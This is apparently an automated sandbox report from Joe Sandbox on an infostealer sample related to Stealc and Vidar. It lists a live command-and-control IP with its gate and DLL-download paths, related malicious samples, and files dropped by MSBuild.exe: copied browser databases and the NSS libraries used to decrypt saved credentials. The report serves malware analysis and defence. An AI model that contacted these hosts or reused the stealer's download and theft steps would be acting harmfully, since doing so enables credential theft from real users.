http://46.8.231.109/c4754d4f680ead72.phpZze	MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllAf	MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109BAKKorm-data;	MSBuild.exe, 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://46.8.231.109	MSBuild.exe, 00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ac.ecosia.org/autocomplete?q=	EHCBAAAF.4.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org	KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	EHCBAAAF.4.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation		28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527555
Start date and time:	2024-10-07 03:02:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CR0QGWXdDl.exe renamed because original name is a hash value
Original Sample Name:	ab315f59c8c2658c5d87e8125adc2678.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@14/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 92 Number of non-executed functions: 214
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 20.109.210.53, 88.221.110.91, 2.16.100.168, 52.165.164.15, 192.229.221.95, 40.69.42.241
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	https://maxask.com	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	13.107.246.60
	2d3on76vhf.exe	Get hash	malicious	Socks5Systemz	Browse	13.107.246.60
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://vpnpanda.org/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://ln.run/qHANs	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	http://revsolsavenue.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
fp2e7a.wpc.phicdn.net	https://maxask.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	192.229.221.95
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://www.ngdhqw.blogspot.de/	Get hash	malicious	GRQ Scam	Browse	192.229.221.95
	http://vpnpanda.org/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://ln.run/qHANs	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://maxask.com	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	13.107.246.60
	Camtech_Korea_Invoice_2024.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	13.107.246.60
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://www.ngdhqw.blogspot.de/	Get hash	malicious	GRQ Scam	Browse	13.107.246.60

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse
	vmgon5Zqja.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDAKJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFHDAKJKFCFBGCBGDHCB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BFIJEHCBAKFCAKFHCGDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGIJEGHDAECAKECAFCAKFCGDAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIEHJKFHCAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCBAAAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCBAAAFHJDHJJKEBGHIECAKJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJKFBKKECFHJKEBKEHIDAEBKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: MSCy5UvBYg.exe, Detection: malicious, Browse Filename: E7Bu6a7eve.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cmBxQ7gA5a.exe, Detection: malicious, Browse Filename: vmgon5Zqja.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
